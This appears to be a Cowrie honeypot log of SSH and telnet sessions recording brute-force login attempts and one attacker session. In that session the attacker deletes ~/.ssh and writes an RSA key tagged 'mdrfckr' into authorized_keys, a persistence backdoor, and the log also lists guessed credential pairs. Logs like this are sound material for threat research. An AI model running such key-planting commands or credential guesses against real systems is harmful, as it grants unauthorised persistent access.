{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:35.312791Z","src_ip":"154.117.199.5","session":"4f3f473036b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":9050,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c3bc0d37315","protocol":"ssh","message":"New connection: 223.233.84.127:9050 (10.17.0.5:22) [session: 2c3bc0d37315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:46.788894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:46.794300Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:47.079031Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steamcmd","message":"login attempt [steam/steamcmd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:48.085820Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:48.626756Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:48.629771Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:48.633511Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:48.880380Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:49.413166Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:49.417434Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:49.667104Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:49.671493Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":20686,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5597567f15b","protocol":"ssh","message":"New connection: 223.233.84.127:20686 (10.17.0.5:22) [session: e5597567f15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:49.925256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:49.930339Z","src_ip":"223.233.84.127","session":"e5597567f15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:50.186691Z","src_ip":"223.233.84.127","session":"e5597567f15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:51.245308Z","src_ip":"223.233.84.127","session":"e5597567f15b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:52.504604Z","src_ip":"223.233.84.127","session":"e5597567f15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":10377,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d173aeacb0f","protocol":"ssh","message":"New connection: 223.233.84.127:10377 (10.17.0.5:22) [session: 1d173aeacb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:52.774127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:52.779491Z","src_ip":"223.233.84.127","session":"1d173aeacb0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:53.042583Z","src_ip":"223.233.84.127","session":"1d173aeacb0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:54.111396Z","src_ip":"223.233.84.127","session":"1d173aeacb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:54.362289Z","src_ip":"223.233.84.127","session":"2c3bc0d37315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:03:54.372795Z","src_ip":"223.233.84.127","session":"1d173aeacb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00159502029419,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:04:21.865240Z","src_ip":"38.25.25.113","session":"e622c7be9905","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":1657,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b71b86459c5","protocol":"telnet","message":"New connection: 38.25.25.113:1657 (10.17.0.5:23) [session: 4b71b86459c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:04:23.074559Z"}
{"eventid":"cowrie.session.closed","duration":120.00591945648193,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:04:29.177746Z","src_ip":"38.25.25.113","session":"5470f605b585","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":4273,"dst_ip":"10.17.0.5","dst_port":23,"session":"367d69745245","protocol":"telnet","message":"New connection: 38.25.25.113:4273 (10.17.0.5:23) [session: 367d69745245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:04:30.390991Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.117.74.251","src_port":50229,"dst_ip":"159.203.135.109","dst_port":23,"session":"70182fdcb6cb","protocol":"telnet","message":"New connection: 119.117.74.251:50229 (159.203.135.109:23) [session: 70182fdcb6cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:05:36.394842Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.117.74.251","src_port":50357,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cc4a3140fb7","protocol":"telnet","message":"New connection: 119.117.74.251:50357 (159.203.135.109:23) [session: 5cc4a3140fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:06:00.234532Z"}
{"eventid":"cowrie.session.closed","duration":44.99906039237976,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:06:21.393782Z","src_ip":"119.117.74.251","session":"70182fdcb6cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0024061203003,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:06:23.076788Z","src_ip":"38.25.25.113","session":"4b71b86459c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":40401,"dst_ip":"10.17.0.5","dst_port":23,"session":"a267d07dc43e","protocol":"telnet","message":"New connection: 38.25.25.113:40401 (10.17.0.5:23) [session: a267d07dc43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:06:23.295438Z"}
{"eventid":"cowrie.session.closed","duration":120.02007842063904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:06:30.410904Z","src_ip":"38.25.25.113","session":"367d69745245","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":42445,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eaf0e54d1de","protocol":"telnet","message":"New connection: 38.25.25.113:42445 (10.17.0.5:23) [session: 3eaf0e54d1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:06:30.647252Z"}
{"eventid":"cowrie.session.closed","duration":44.01142454147339,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:06:44.245817Z","src_ip":"119.117.74.251","session":"5cc4a3140fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"119.117.74.251","src_port":51000,"dst_ip":"159.203.135.109","dst_port":23,"session":"809e0718c671","protocol":"telnet","message":"New connection: 119.117.74.251:51000 (159.203.135.109:23) [session: 809e0718c671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:07:55.864587Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.117.74.251","src_port":50983,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb302e9ffab9","protocol":"telnet","message":"New connection: 119.117.74.251:50983 (159.203.135.109:23) [session: bb302e9ffab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:07:57.113532Z"}
{"eventid":"cowrie.session.closed","duration":0.005395174026489258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:07:57.118811Z","src_ip":"119.117.74.251","session":"bb302e9ffab9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0252091884613,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:08:23.320522Z","src_ip":"38.25.25.113","session":"a267d07dc43e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":16630,"dst_ip":"10.17.0.5","dst_port":23,"session":"32733e601863","protocol":"telnet","message":"New connection: 38.25.25.113:16630 (10.17.0.5:23) [session: 32733e601863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:08:23.625087Z"}
{"eventid":"cowrie.session.closed","duration":120.00493836402893,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:08:30.652057Z","src_ip":"38.25.25.113","session":"3eaf0e54d1de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":19442,"dst_ip":"10.17.0.5","dst_port":23,"session":"835b809b9fd2","protocol":"telnet","message":"New connection: 38.25.25.113:19442 (10.17.0.5:23) [session: 835b809b9fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:08:30.858234Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.117.74.251","src_port":51131,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f40b048cff","protocol":"telnet","message":"New connection: 119.117.74.251:51131 (159.203.135.109:23) [session: 69f40b048cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:08:31.162336Z"}
{"eventid":"cowrie.session.closed","duration":38.74587941169739,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:08:34.610345Z","src_ip":"119.117.74.251","session":"809e0718c671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":20.72671365737915,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:08:51.888914Z","src_ip":"119.117.74.251","session":"69f40b048cff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":15344,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6f2d0c0e447","protocol":"ssh","message":"New connection: 2.57.121.112:15344 (159.203.135.109:22) [session: e6f2d0c0e447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:04.166442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:04.172454Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:04.278395Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qw12qw","message":"login attempt [admin/qw12qw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:04.772810Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qsefth","message":"login attempt [admin/qsefth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:05.881809Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qsawbbs","message":"login attempt [admin/qsawbbs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:06.991307Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qRHMiS","message":"login attempt [admin/qRHMiS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:08.099017Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qcmfd454","message":"login attempt [admin/qcmfd454] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:09.207669Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:09:10.318321Z","src_ip":"2.57.121.112","session":"e6f2d0c0e447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02051830291748,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:10:23.645466Z","src_ip":"38.25.25.113","session":"32733e601863","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0086178779602,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:10:30.866646Z","src_ip":"38.25.25.113","session":"835b809b9fd2","protocol":"telnet"}
